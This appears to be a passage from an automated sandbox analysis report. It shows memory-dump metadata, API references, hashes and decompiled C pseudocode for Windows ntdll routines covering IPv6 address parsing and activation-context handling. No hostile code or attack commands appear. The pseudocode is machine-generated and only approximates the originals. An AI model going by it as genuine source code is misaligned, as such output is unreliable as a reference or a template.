0x6a93773b
0x6a93773b
0x6a937742
0x6a97f961
0x00000000
0x6a97f967
0x00000000
0x6a97f967
0x6a937748
0x6a937748
0x6a93774b
0x6a937630
0x6a937638
0x6a937751
0x6a937751
0x6a937758
0x6a937788
0x00000000
0x6a93778a
0x00000000
0x6a93778a
0x6a93775a
0x6a93775a
0x6a93775d
0x6a97f975
0x6a97f978
0x00000000
0x6a97f97e
0x00000000
0x6a97f97e
0x6a937763
0x6a937763
0x6a93776a
0x00000000
0x6a937770
0x6a97f96f
0x00000000
0x00000000
0x00000000
0x00000000
0x6a97f96f
0x6a93776a
0x6a93775d
0x6a937758
0x6a93774b
0x6a937742
0x00000000
0x00000000
0x00000000
0x6a9374e3
0x00000000

APIs

RtlEqualUnicodeString.1105(?,6A8F1040,00000001,?,00000024,01000000), ref: 6A93769A
RtlEqualUnicodeString.1105(?,6A8F1050,00000001,?,6A8F1040,00000001,?,00000024,01000000), ref: 6A9376AE
RtlEqualUnicodeString.1105(?,6A8F1048,00000001,?,6A8F1050,00000001,?,6A8F1040,00000001,?,00000024,01000000), ref: 6A9376C2
RtlEqualUnicodeString.1105(?,6A8F1058,00000001,?,6A8F1048,00000001,?,6A8F1050,00000001,?,6A8F1040,00000001,?,00000024,01000000), ref: 6A9376D6
RtlEqualUnicodeString.1105(000FFFF0,6A8F1060,00000001,6A8F1068,00000001,6A8F18F8,00000001), ref: 6A937700
iswdigit.1105(000E6A8F,6A8F1048,00000001,?,6A8F1050,00000001,?,6A8F1040,00000001,?,00000024,01000000), ref: 6A93771D
RtlEqualUnicodeString.1105(00100000,6A8F18F8,00000001), ref: 6A97F9B0

Memory Dump Source

Source File: 00000016.00000002.449035922.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 00000016.00000002.448930992.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.451301490.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.451364864.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.451409914.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: EqualStringUnicode$iswdigit
String ID:
API String ID: 3246613909-0
Opcode ID: 0ae0ee600168daa1684e6299e78af6e54baf06e0c0aa7112619b05a3b6a3fd0e
Instruction ID: 5dd77afd8b09de8b843601dcc2c3a8b036c5e49e80c20598c8ac1bd80655f862
Opcode Fuzzy Hash: 0ae0ee600168daa1684e6299e78af6e54baf06e0c0aa7112619b05a3b6a3fd0e
Instruction Fuzzy Hash: F8812975C1413AE6DF24CE5AC4A17BDB3BAAF46308F720926E5A1D7190EF31C585C2A3

Uniqueness

Uniqueness Score: -1.00%

Function 6A910B60, Relevance: 10.7, APIs: 7, Instructions: 234
COMMON

Download Yara Rule

C-Code - Quality: 96%

			E6A910B60(signed short* _a4, intOrPtr _a8, intOrPtr* _a12, short* _a16) {
				char _v5;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				void* _t39;
				signed int _t41;
				void* _t45;
				void* _t50;
				long _t51;
				signed int _t52;
				signed int _t53;
				signed int _t60;
				signed int _t64;
				signed int _t75;
				signed int _t76;
				signed int _t78;
				signed int _t80;
				signed int _t87;
				signed short* _t90;
				void* _t93;
				signed int _t105;
				signed short* _t106;
				signed int _t111;
				void* _t115;
				signed int _t116;
				signed int _t117;
				signed int _t121;
				signed int _t122;
				long _t123;
				long _t125;
				void* _t128;
				signed short* _t131;

				_t90 = _a4;
				if(_t90 == 0 || _a8 == 0 || _a12 == 0 || _a16 == 0) {
					L6:
					_t39 = 0xc000000d;
				} else {
					_t87 = 0;
					_v16 = 0;
					_t41 =  *_t90 & 0x0000ffff;
					_t115 = 0x5b;
					_t121 = _t41;
					_v20 = _t121;
					if(_t41 == _t115) {
						_t90 =  &(_t90[1]);
					}
					_v5 = _t121 == _t115;
					if(E6A910BD0(_t90,  &_v24, _a8) >= 0) {
						_t131 = _v24;
						_v12 = 0xa;
						__eflags =  *_t131 - 0x25;
						if( *_t131 != 0x25) {
							L22:
							_t45 = 0x5d;
							goto L23;
						} else {
							_t131 =  &(_t131[1]);
							_t125 =  *_t131 & 0x0000ffff;
							__eflags = _t125 - 0x80;
							if(_t125 >= 0x80) {
								goto L6;
							} else {
								_t76 = iswctype(_t125, 4);
								__eflags = _t76;
								if(_t76 == 0) {
									goto L6;
								} else {
									while(1) {
										__eflags = _t125;
										if(_t125 == 0) {
											break;
										}
										_t45 = 0x5d;
										__eflags = _t125 - _t45;
										if(_t125 == _t45) {
											_t121 = _v20;
											L23:
											__eflags =  *_t131 - _t45;
											if( *_t131 != _t45) {
												L45:
												_t116 = _v5;
												goto L46;
											} else {
												_t50 = 0x5b;
												__eflags = _t121 - _t50;
												if(_t121 != _t50) {
													goto L6;
												} else {
													_t131 =  &(_t131[1]);
													_t116 = 0;
													_v5 = 0;
													__eflags =  *_t131 - 0x3a;
													if( *_t131 != 0x3a) {
														L46:
														__eflags =  *_t131;
														if( *_t131 != 0) {
															goto L6;
														} else {
															__eflags = _t116;
															if(_t116 != 0) {
																goto L6;
															} else {
																 *_a16 = _t87;
																 *_a12 = _v16;
																_t39 = 0;
															}
														}
													} else {
														_t131 =  &(_t131[1]);
														_t122 = 0x10;
														__eflags =  *_t131 - 0x30;
														if( *_t131 != 0x30) {
															_t117 = 0xa;
														} else {
															_t24 =  &(_t131[1]); // -4
															_t106 = _t24;
															_t131 = _t106;
															_t117 = 8;
															_v12 = _t117;
															_t75 =  *_t131 & 0x0000ffff;
															__eflags = _t75 - 0x78;
															if(_t75 == 0x78) {
																L29:
																_t117 = _t122;
																_t26 =  &(_t106[1]); // 0x0
																_t131 = _t26;
																_v12 = _t117;
															} else {
																__eflags = _t75 - 0x58;
																if(_t75 != 0x58) {
																	goto L32;
																} else {
																	goto L29;
																}
																while(1) {
																	L32:
																	_t123 =  *_t131 & 0x0000ffff;
																	__eflags = _t123;
																	if(_t123 == 0) {
																		goto L45;
																	}
																	_t51 = 0x80;
																	__eflags = _t123 - 0x80;
																	if(_t123 >= 0x80) {
																		L39:
																		_t93 = 0x10;
																		__eflags = _t117 - _t93;
																		if(_t117 != _t93) {
																			goto L6;
																		} else {
																			__eflags = _t123 - _t51;
																			if(_t123 >= _t51) {
																				goto L6;
																			} else {
																				_t52 = iswctype(_t123, _t51);
																				__eflags = _t52;
																				if(_t52 == 0) {
																					goto L6;
																				} else {
																					_t53 = iswctype(_t123, 2);
																					asm("sbb eax, eax");
																					__eflags = (_t123 & 0x0000ffff) + 0xa + ((_t87 & 0x0000ffff) << 4) - ( ~_t53 & 0x00000020) + 0x41 - 0xffff;
																					if((_t123 & 0x0000ffff) + 0xa + ((_t87 & 0x0000ffff) << 4) - ( ~_t53 & 0x00000020) + 0x41 > 0xffff) {
																						goto L6;
																					} else {
																						_t60 = iswctype(_t123, 2);
																						_t117 = _v12;
																						asm("sbb eax, eax");
																						_t87 = (_t87 << 4) + 0xa + _t123 - ( ~_t60 & 0x00000020) + 0x41;
																						__eflags = _t87;
																						goto L44;
																					}
																				}
																			}
																		}
																	} else {
																		_t64 = iswctype(_t123, 4);
																		_t117 = _v12;
																		__eflags = _t64;
																		if(_t64 == 0) {
																			L38:
																			_t51 = 0x80;
																			goto L39;
																		} else {
																			_t105 = _t123 & 0x0000ffff;
																			_v24 = _t117 & 0x0000ffff;
																			_t31 = _t105 - 0x30; // -44
																			__eflags = _t31 - _v24;
																			if(_t31 >= _v24) {
																				goto L38;
																			} else {
																				__eflags = (_t87 & 0x0000ffff) * _v24 + 0xffffffd0 + _t105 - 0xffff;
																				if((_t87 & 0x0000ffff) * _v24 + 0xffffffd0 + _t105 > 0xffff) {
																					goto L6;
																				} else {
																					_t87 = _t117 * _t87 + 0xffffffd0 + _t123 & 0x0000ffff;
																					L44:
																					_t131 =  &(_t131[1]);
																					continue;
																				}
																			}
																		}
																	}
																	goto L7;
																}
																goto L45;
															}
														}
														goto L32;
													}
												}
											}
										} else {
											__eflags = _t125 - _t45 + 0x23;
											if(_t125 >= _t45 + 0x23) {
												goto L6;
											} else {
												_t78 = iswctype(_t125, 4);
												__eflags = _t78;
												if(_t78 == 0) {
													goto L6;
												} else {
													_v24 = _t125 & 0x0000ffff;
													_t80 = _v16;
													_t111 = 0xa;
													asm("cdq");
													asm("adc ecx, edx");
													_t128 = _t80 * _t111 + _v24 + 0xffffffd0;
													asm("adc ecx, 0xffffffff");
													__eflags = _t80 * _t111 >> 0x20;
													if(__eflags > 0) {
														goto L6;
													} else {
														if(__eflags < 0) {
															L19:
															_t131 =  &(_t131[1]);
															__eflags = _t131;
															_v16 = _v16 * 0xa + _v24 + 0xffffffd0;
															_t125 =  *_t131 & 0x0000ffff;
															continue;
														} else {
															__eflags = _t128 - 0xffffffff;
															if(_t128 > 0xffffffff) {
																goto L6;
															} else {
																goto L19;
															}
														}
													}
												}
											}
										}
										goto L7;
									}
									_t121 = _v20;
									goto L22;
								}
							}
						}
					} else {
						goto L6;
					}
				}
				L7:
				return _t39;
			}

0x6a910b65
0x6a910b70
0x6a910bb7
0x6a910bb7
0x6a910b84
0x6a910b86
0x6a910b88
0x6a910b8b
0x6a910b90
0x6a910b91
0x6a910b93
0x6a910b99
0x6a910bc5
0x6a910bc5
0x6a910ba6
0x6a910bb1
0x6a96e578
0x6a96e580
0x6a96e587
0x6a96e58b
0x6a96e62e
0x6a96e630
0x00000000
0x6a96e591
0x6a96e591
0x6a96e594
0x6a96e597
0x6a96e59a
0x00000000
0x6a96e5a0
0x6a96e5a3
0x6a96e5aa
0x6a96e5ac
0x00000000
0x6a96e5b2
0x6a96e626
0x6a96e626
0x6a96e629
0x00000000
0x00000000
0x6a96e5b6
0x6a96e5b7
0x6a96e5ba
0x6a96e686
0x6a96e631
0x6a96e631
0x6a96e634
0x6a96e76f
0x6a96e76f
0x00000000
0x6a96e63a
0x6a96e63c
0x6a96e63d
0x6a96e640
0x00000000
0x6a96e646
0x6a96e646
0x6a96e649
0x6a96e64b
0x6a96e64e
0x6a96e652
0x6a96e772
0x6a96e774
0x6a96e777
0x00000000
0x6a96e77d
0x6a96e77d
0x6a96e77f
0x00000000
0x6a96e785
0x6a96e78c
0x6a96e795
0x6a96e797
0x6a96e797
0x6a96e77f
0x6a96e658
0x6a96e658
0x6a96e65d
0x6a96e65e
0x6a96e662
0x6a96e68d
0x6a96e664
0x6a96e664
0x6a96e664
0x6a96e667
0x6a96e66b
0x6a96e66c
0x6a96e66f
0x6a96e672
0x6a96e675
0x6a96e67c
0x6a96e67c
0x6a96e67e
0x6a96e67e
0x6a96e681
0x6a96e677
0x6a96e677
0x6a96e67a
0x00000000
0x00000000
0x00000000
0x00000000
0x6a96e68e
0x6a96e68e
0x6a96e68e
0x6a96e691
0x6a96e694
0x00000000
0x00000000
0x6a96e69a
0x6a96e69f
0x6a96e6a2
0x6a96e6f1
0x6a96e6f3
0x6a96e6f4
0x6a96e6f7
0x00000000
0x6a96e6fd
0x6a96e6fd
0x6a96e700
0x00000000
0x6a96e706
0x6a96e708
0x6a96e70f
0x6a96e711
0x00000000
0x6a96e717
0x6a96e71a
0x6a96e722
0x6a96e73b
0x6a96e740
0x00000000
0x6a96e746
0x6a96e74c
0x6a96e751
0x6a96e757
0x6a96e765
0x6a96e765
0x00000000
0x6a96e765
0x6a96e740
0x6a96e711
0x6a96e700
0x6a96e6a4
0x6a96e6a7
0x6a96e6ac
0x6a96e6b1
0x6a96e6b3
0x6a96e6ec
0x6a96e6ec
0x00000000
0x6a96e6b5
0x6a96e6b5
0x6a96e6bb
0x6a96e6be
0x6a96e6c1
0x6a96e6c4
0x00000000
0x6a96e6c6
0x6a96e6d2
0x6a96e6d7
0x00000000
0x6a96e6dd
0x6a96e6e7
0x6a96e767
0x6a96e767
0x00000000
0x6a96e767
0x6a96e6d7
0x6a96e6c4
0x6a96e6b3
0x00000000
0x6a96e6a2
0x00000000
0x6a96e68e
0x6a96e675
0x00000000
0x6a96e662
0x6a96e652
0x6a96e640
0x6a96e5c0
0x6a96e5c3
0x6a96e5c6
0x00000000
0x6a96e5cc
0x6a96e5cf
0x6a96e5d6
0x6a96e5d8
0x00000000
0x6a96e5de
0x6a96e5e1
0x6a96e5e4
0x6a96e5e9
0x6a96e5f3
0x6a96e5f6
0x6a96e5f8
0x6a96e5fb
0x6a96e5fe
0x6a96e600
0x00000000
0x6a96e606
0x6a96e606
0x6a96e611
0x6a96e61d
0x6a96e61d
0x6a96e620
0x6a96e623
0x00000000
0x6a96e608
0x6a96e608
0x6a96e60b
0x00000000
0x00000000
0x00000000
0x00000000
0x6a96e60b
0x6a96e606
0x6a96e600
0x6a96e5d8
0x6a96e5c6
0x00000000
0x6a96e5ba
0x6a96e62b
0x00000000
0x6a96e62b
0x6a96e5ac
0x6a96e59a
0x00000000
0x00000000
0x00000000
0x6a910bb1
0x6a910bbc
0x6a910bc2

APIs

RtlIpv6StringToAddressW.1105(?,?,00000000,00000000), ref: 6A910BAA

Memory Dump Source

Source File: 00000016.00000002.449035922.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 00000016.00000002.448930992.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.451301490.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.451364864.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.451409914.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressIpv6String
String ID:
API String ID: 27538981-0
Opcode ID: b690b3803644220c55924738faed87d42b98be9f139281c8459cf90186e800ac
Instruction ID: cd6735accf15b24efb07f38bb00421be04d963bc692961e735686cdc2cd99323
Opcode Fuzzy Hash: b690b3803644220c55924738faed87d42b98be9f139281c8459cf90186e800ac
Instruction Fuzzy Hash: 38615B76A882099BEF24CA64CCC1BBE73B5AF15728F36413AE450DB2C4EF35C9508751

Uniqueness

Uniqueness Score: -1.00%

Function 6A918D29, Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 200
COMMON

Download Yara Rule

C-Code - Quality: 34%

			E6A918D29(intOrPtr __ecx, intOrPtr* _a4, intOrPtr _a8, signed int* _a12) {
				char _v8;
				signed int _v12;
				void* _v16;
				char _v20;
				char _v24;
				intOrPtr _v28;
				void* _t104;
				signed int _t106;
				intOrPtr _t110;
				intOrPtr _t111;
				intOrPtr _t113;
				signed char* _t147;
				signed int _t149;
				intOrPtr _t152;
				void* _t156;
				intOrPtr _t158;
				intOrPtr _t159;
				intOrPtr _t163;
				intOrPtr* _t164;
				intOrPtr _t165;
				intOrPtr* _t166;
				signed int* _t167;
				intOrPtr* _t168;
				signed int* _t169;
				signed int _t170;
				signed int _t172;
				void* _t174;
				short* _t175;
				short* _t176;
				void* _t177;
				void* _t178;
				void* _t187;

				_t152 = __ecx;
				_v12 = _v12 & 0x00000000;
				_t167 = _a12;
				_v28 = __ecx;
				_v20 = 0xc00000e5;
				if(_t167 != 0) {
					 *_t167 =  *_t167 & 0x00000000;
				}
				_push( &_v24);
				_t172 = 1;
				_push( &_v16);
				_push(1);
				_push(_t152);
				_push(_t152);
				_t149 = 0x30;
				_push(_t149);
				_push(_t167);
				_push(_a8);
				_push(_a4);
				E6A941D47( &_v20);
				if(_v12 == 0) {
					return _v20;
				} else {
					_push( &_v8);
					_push( &_v20);
					_t178 = _t177 - 0x14;
					_push( &_v12);
					_push( &_v12);
					_t104 = E6A918EE6(_v16, _v24);
					if(_t104 < 0) {
						return _t104;
					}
					_t163 = _v28;
					_t106 =  *((intOrPtr*)(_t163 + 0x18)) + _t163;
					_v12 = _t106;
					_t156 =  *((intOrPtr*)(_t106 + 0xc)) + _t163;
					if(1 >=  *((intOrPtr*)(_t106 + 8))) {
						L8:
						if(_t187 == 0) {
							_push(_t163);
							E6A9A5720(0x33, 0, "SXS: %s() found activation context data at %p with assembly roster that has no root\n", "RtlpQueryInformationActivationContextDetailedInformation");
							return 0xc0150003;
						}
						_t158 =  *((intOrPtr*)(_t172 * 0x18 + _t156 + 0x10)) + _t163;
						_v20 = _t158;
						_t33 = _t158 + 0x14; // 0x0
						_t110 =  *_t33;
						if(_t110 != 0) {
							_t34 = _t110 + 0x32; // 0x6a961822
							_t149 = _t34;
						}
						_t35 = _t158 + 0x28; // 0xffffffc4
						_t111 =  *_t35;
						if(_t111 != 0) {
							_t149 = _t149 + 2 + _t111;
						}
						_t113 =  *((intOrPtr*)(_v8 + 0x2c));
						if(_t113 != 0) {
							_t149 = _t149 + 2 + _t113;
						}
						if(_t149 <= _a8) {
							_t168 = _a4;
							_t174 = _a4 + 0x30;
							 *_t168 =  *((intOrPtr*)(_t163 + 0x1c));
							_t164 = _t168;
							 *((intOrPtr*)(_t164 + 4)) =  *((intOrPtr*)(_t163 + 8));
							 *((intOrPtr*)(_t164 + 8)) =  *((intOrPtr*)(_v12 + 8)) - 1;
							_t47 = _t158 + 0x10; // 0xfffffffe
							 *((intOrPtr*)(_t164 + 0xc)) =  *_t47;
							_t49 = _t158 + 0x14; // 0x0
							 *(_t164 + 0x24) =  *(_t164 + 0x24) & 0x00000000;
							 *(_t164 + 0x10) =  *_t49 >> 1;
							_t53 = _t158 + 0x24; // 0x0
							 *((intOrPtr*)(_t164 + 0x14)) =  *_t53;
							_t55 = _t158 + 0x28; // 0xffffffc4
							 *(_t164 + 0x28) =  *(_t164 + 0x28) & 0x00000000;
							 *(_t164 + 0x18) =  *_t55 >> 1;
							_t165 = _v8;
							 *((intOrPtr*)(_t168 + 0x1c)) =  *((intOrPtr*)(_t165 + 0x28));
							_t166 = _t168;
							_t169 = _a12;
							 *(_t166 + 0x2c) =  *(_t166 + 0x2c) & 0x00000000;
							 *(_t166 + 0x20) =  *(_t165 + 0x2c) >> 1;
							if( *(_t158 + 0x14) != 0) {
								_t68 = _t158 + 0x14; // 0x0
								_t69 = _t158 + 0x18; // 0x6a984765
								memcpy(_t174,  *_t69 + _v16,  *_t68);
								_t178 = _t178 + 0xc;
								_t158 = _v20;
								 *(_a4 + 0x24) = _t174;
								_t176 = _t174 +  *(_t158 + 0x14);
								 *_t176 = 0;
								_t174 = _t176 + 2;
							}
							if( *(_t158 + 0x28) != 0) {
								_t86 = _t158 + 0x28; // 0xffffffc4
								_t87 = _t158 + 0x2c; // 0x0
								memcpy(_t174,  *_t87 + _v16,  *_t86);
								_t178 = _t178 + 0xc;
								 *(_a4 + 0x28) = _t174;
								_t175 = _t174 +  *((intOrPtr*)(_v20 + 0x28));
								 *_t175 = 0;
								_t174 = _t175 + 2;
							}
							_t159 = _v8;
							if( *(_t159 + 0x2c) != 0) {
								memcpy(_t174,  *((intOrPtr*)(_t159 + 0x30)) + _t159,  *(_t159 + 0x2c));
								 *(_a4 + 0x2c) = _t174;
								 *((short*)(_t174 +  *((intOrPtr*)(_v8 + 0x2c)))) = 0;
							}
							if(_t169 != 0) {
								 *_t169 = _t149;
							}
							return 0;
						} else {
							if(_t167 != 0) {
								 *_t167 = _t149;
							}
							return 0xc0000023;
						}
					}
					_t170 = _v12;
					_t24 = _t156 + 0x18; // 0x116
					_t147 = _t24;
					while(( *_t147 & 0x00000002) == 0) {
						_t172 = _t172 + 1;
						_t147 =  &(_t147[0x18]);
						if(_t172 <  *((intOrPtr*)(_t170 + 8))) {
							continue;
						}
						break;
					}
					_t167 = _a12;
					_t187 = _t172 -  *((intOrPtr*)(_v12 + 8));
					goto L8;
				}
			}

0x6a918d29
0x6a918d31
0x6a918d38
0x6a918d3b
0x6a918d3e
0x6a918d47
0x6a918d49
0x6a918d49
0x6a918d51
0x6a918d55
0x6a918d56
0x6a918d57
0x6a918d58
0x6a918d59
0x6a918d5c
0x6a918d5d
0x6a918d5e
0x6a918d5f
0x6a918d65
0x6a918d6b
0x6a918d76
0x00000000
0x6a918d7c
0x6a918d82
0x6a918d86
0x6a918d87
0x6a918d8d
0x6a918d8e
0x6a918d92
0x6a918d99
0x6a918e14
0x6a918e14
0x6a918d9b
0x6a918da1
0x6a918da3
0x6a918da9
0x6a918dae
0x6a918dc8
0x6a918dc8
0x6a97348b
0x6a97349a
0x00000000
0x6a9734a2
0x6a918dd5
0x6a918dd7
0x6a918dda
0x6a918dda
0x6a918ddf
0x6a918de1
0x6a918de1
0x6a918de1
0x6a918de4
0x6a918de4
0x6a918de9
0x6a9734af
0x6a9734af
0x6a918df2
0x6a918df7
0x6a918dfc
0x6a918dfc
0x6a918e01
0x6a918e1a
0x6a918e20
0x6a918e23
0x6a918e28
0x6a918e2a
0x6a918e34
0x6a918e37
0x6a918e3a
0x6a918e3d
0x6a918e40
0x6a918e46
0x6a918e49
0x6a918e4c
0x6a918e4f
0x6a918e52
0x6a918e58
0x6a918e5b
0x6a918e61
0x6a918e67
0x6a918e69
0x6a918e6e
0x6a918e72
0x6a918e79
0x6a918e7b
0x6a918e7e
0x6a918e86
0x6a918e8e
0x6a918e91
0x6a918e94
0x6a918e99
0x6a918e9c
0x6a918e9f
0x6a918e9f
0x6a918ea6
0x6a9734b6
0x6a9734b9
0x6a9734c1
0x6a9734c9
0x6a9734cc
0x6a9734d2
0x6a9734d7
0x6a9734da
0x6a9734da
0x6a918eac
0x6a918eb3
0x6a918ebf
0x6a918ecc
0x6a918ed5
0x6a918ed5
0x6a918edb
0x6a918edd
0x6a918edd
0x00000000
0x6a918e03
0x6a918e05
0x6a918e07
0x6a918e07
0x00000000
0x6a918e09
0x6a918e01
0x6a918db0
0x6a918db3
0x6a918db3
0x6a918db6
0x6a973479
0x6a97347a
0x6a973480
0x00000000
0x00000000
0x00000000
0x6a973486
0x6a918dc2
0x6a918dc5
0x00000000
0x6a918dc5

APIs

memcpy.1105(-00000030,?,00000000,?,00000000,?,?,6A9617F0,00000000,?,00000000,?), ref: 6A918E86
memcpy.1105(-00000030,?,?,?,00000000,?,?,6A9617F0,00000000,?,00000000,?), ref: 6A918EBF

Strings

RtlpQueryInformationActivationContextDetailedInformation, xrefs: 6A97348C
SXS: %s() found activation context data at %p with assembly roster that has no root, xrefs: 6A973491

Memory Dump Source

Source File: 00000016.00000002.449035922.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 00000016.00000002.448930992.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.451301490.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.451364864.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.451409914.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: memcpy
String ID: RtlpQueryInformationActivationContextDetailedInformation$SXS: %s() found activation context data at %p with assembly roster that has no root
API String ID: 3510742995-1732449319
Opcode ID: 397ab9e9ae9e9773fabd8890394e4b54bbf00b760e72d80f4ec3535d8f92a00b
Instruction ID: 74df6fd898033693972ca3c4780be16a59a49bad51cda9bf4a4a084a50b80507
Opcode Fuzzy Hash: 397ab9e9ae9e9773fabd8890394e4b54bbf00b760e72d80f4ec3535d8f92a00b
Instruction Fuzzy Hash: 397150B5A00219EFDB14CF58C880E9AB7F9FF58318F258599E8189B302D730ED91CB94

Uniqueness

Uniqueness Score: -1.00%

Function 6A9320A0, Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 199
COMMON

Download Yara Rule

C-Code - Quality: 67%

			E6A9320A0(intOrPtr* __ecx) {
				signed int _v0;
				signed int _v8;
				signed char _v60;
				signed int* _v64;
				signed char _v68;
				signed int* _v72;
				intOrPtr _v76;
				signed int* _v84;
				signed int* _v88;
				char _v92;
				signed int _v96;
				signed char _v100;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed char _t111;
				void* _t133;
				signed char _t134;
				signed int* _t135;
				signed int* _t136;
				signed char _t138;
				signed int* _t142;
				signed int* _t144;
				void* _t145;
				intOrPtr* _t147;
				void* _t149;
				signed int _t152;
				signed int _t154;

				_t154 = (_t152 & 0xfffffff8) - 0x64;
				_v8 =  *0x6aa0d360 ^ _t154;
				_t144 =  *( *[fs:0x18] + 0x1a8);
				_t147 = __ecx;
				if(_t144 == 0) {
					_t142 = 0;
				} else {
					_t142 =  *_t144;
				}
				_t138 =  *(_t147 + 0x10);
				if((_t138 & 0x00000040) != 0) {
					_v84 = 0;
					_v76 = 3;
					_v72 = 0;
					_v68 = _t147 + 8;
					_v64 =  *_t144;
					_push( &_v92);
					_v92 = 0xc0150011;
					_v88 = 0;
					_t104 = E6A96DEF0(_t138, _t142);
					goto L12;
				} else {
					if((_t138 & 0x00000020) == 0) {
						_v84 = 0;
						_v76 = 3;
						_v72 = 0;
						_v68 = _t147 + 8;
						_v64 =  *_t144;
						_v92 = 0xc0150010;
						L25:
						_v88 = 1;
						_push( &_v92);
						_t104 = E6A96DEF0(_t138, _t142);
						L12:
						_pop(_t145);
						_pop(_t149);
						_pop(_t133);
						return E6A95B640(_t104, _t133, _v0 ^ _t154, _t142, _t145, _t149);
					}
					_t104 = _t138 & 0x00000060;
					if((_t138 & 0x00000060) != 0x20) {
						_v84 = 0;
						_v76 = 4;
						_v72 = _t144;
						_v68 = _t142;
						_v64 = _t147 + 8;
						_v60 = _t138;
						_v92 = 0xc0150014;
						goto L25;
					}
					if( *_t147 < 0x24) {
						L8:
						if(_t142 != 0) {
							_t134 = _t142[2];
							_t104 = _t134 & 0x00000070;
							if((_t134 & 0x00000070) != 0x20) {
								L28:
								_v84 = 0;
								_v76 = 4;
								_v72 = _t144;
								_v68 = _t142;
								_v64 = _t142;
								_v60 = _t142[2];
								_v92 = 0xc0150014;
								goto L25;
							}
							if((_t134 & 0x00000008) != 0 ||  *((intOrPtr*)(_t142 - 8)) < 0x24) {
								goto L9;
							} else {
								if(_t142[3] !=  !( *_t142)) {
									goto L28;
								}
								_t104 =  !(_t142[1]);
								if(_t142[4] ==  !(_t142[1])) {
									goto L9;
								}
								goto L28;
							}
						}
						L9:
						if((_t138 & 0x00000010) == 0) {
							_t27 = _t147 + 8; // 0x2c
							_t135 = _t27;
							if(_t142 != _t135) {
								_t111 =  *_t144;
								_push(_t135);
								_push(_t111);
								_v100 = _t111;
								_v96 =  *_t135;
								E6A9A5720(0x33, 2, "SXS: %s() Active frame is not the frame being deactivated %p != %p\n", "RtlDeactivateActivationContextUnsafeFast");
								_t138 = _v100;
								_t154 = _t154 + 0x18;
								_t142 = 0;
								if(_t138 == 0) {
									L36:
									_v84 = 0;
									_v76 = 3;
									_v72 = _t142;
									_v68 = _t135;
									_v64 =  *_t144;
									if(_t138 == 0) {
										_v92 = 0xc0150010;
										_v88 = 1;
									} else {
										_v88 = 0;
										_v92 = (0 | _t142 == 0x00000000) * 2 - 0x3feafff1;
									}
									_push( &_v92);
									E6A96DEF0(_t138, _t142);
									goto L20;
								}
								while(_t138 != _v96) {
									if(( *(_t138 + 8) & 0x00000070) != 0x20 || ( *(_t138 + 8) & 0x00000008) == 0 && ( *((intOrPtr*)(_t138 + 0xc)) !=  !( *_t138) ||  *((intOrPtr*)(_t138 + 0x10)) !=  !( *(_t138 + 4)))) {
										_v84 = 0;
										_v76 = 4;
										_v72 = _t144;
										_v68 = _t138;
										_v64 = _t135;
										_v60 =  *(_t138 + 8);
										_v92 = 0xc0150014;
										goto L25;
									} else {
										_t138 =  *_t138;
										_t142 =  &(_t142[0]);
										if(_t138 != 0) {
											continue;
										}
										goto L36;
									}
								}
								goto L36;
							}
							L20:
							_t104 =  *_t135;
							 *_t144 =  *_t135;
						}
						 *(_t147 + 0x10) =  *(_t147 + 0x10) | 0x00000040;
						if( *_t147 >= 0x24) {
							_t104 = _v0;
							 *(_t147 + 0x20) = _v0;
						}
						goto L12;
					}
					_t9 = _t147 + 8; // 0x2c
					_t136 = _t9;
					if( *((intOrPtr*)(_t147 + 0x14)) !=  !( *(_t147 + 8))) {
						L27:
						_v84 = 0;
						_v76 = 4;
						_v72 = _t144;
						_v68 = _t142;
						_v64 = _t136;
						_v60 = _t138;
						_v92 = 0xc0150014;
						goto L25;
					}
					_t104 =  !( *(_t147 + 0xc));
					if( *((intOrPtr*)(_t147 + 0x18)) !=  !( *(_t147 + 0xc))) {
						goto L27;
					}
					goto L8;
				}
			}

0x6a9320a8
0x6a9320b2
0x6a9320bf
0x6a9320c5
0x6a9320c9
0x6a97cfc8
0x6a9320cf
0x6a9320cf
0x6a9320cf
0x6a9320d1
0x6a9320d7
0x6a97cfd2
0x6a97cfda
0x6a97cfe2
0x6a97cfea
0x6a97cff0
0x6a97cff8
0x6a97cff9
0x6a97d001
0x6a97d009
0x00000000
0x6a9320dd
0x6a9320e0
0x6a97d016
0x6a97d01e
0x6a97d026
0x6a97d02e
0x6a97d034
0x6a97d038
0x6a97d06d
0x6a97d071
0x6a97d079
0x6a97d07a
0x6a93212e
0x6a932132
0x6a932133
0x6a932134
0x6a93213f
0x6a93213f
0x6a9320e8
0x6a9320ec
0x6a97d087
0x6a97d08f
0x6a97d097
0x6a97d09b
0x6a97d09f
0x6a97d0a3
0x6a97d0a7
0x00000000
0x6a97d0a7
0x6a9320f5
0x6a932116
0x6a932118
0x6a932140
0x6a932145
0x6a932149
0x6a97d0db
0x6a97d0db
0x6a97d0e3
0x6a97d0eb
0x6a97d0ef
0x6a97d0f3
0x6a97d0fa
0x6a97d0fe
0x00000000
0x6a97d0fe
0x6a932152
0x00000000
0x6a93215a
0x6a932161
0x00000000
0x00000000
0x6a93216a
0x6a93216f
0x00000000
0x00000000
0x00000000
0x6a932171
0x6a932152
0x6a93211a
0x6a93211d
0x6a932176
0x6a932176
0x6a93217b
0x6a97d10b
0x6a97d10f
0x6a97d110
0x6a97d11f
0x6a97d123
0x6a97d127
0x6a97d12c
0x6a97d130
0x6a97d133
0x6a97d137
0x6a97d174
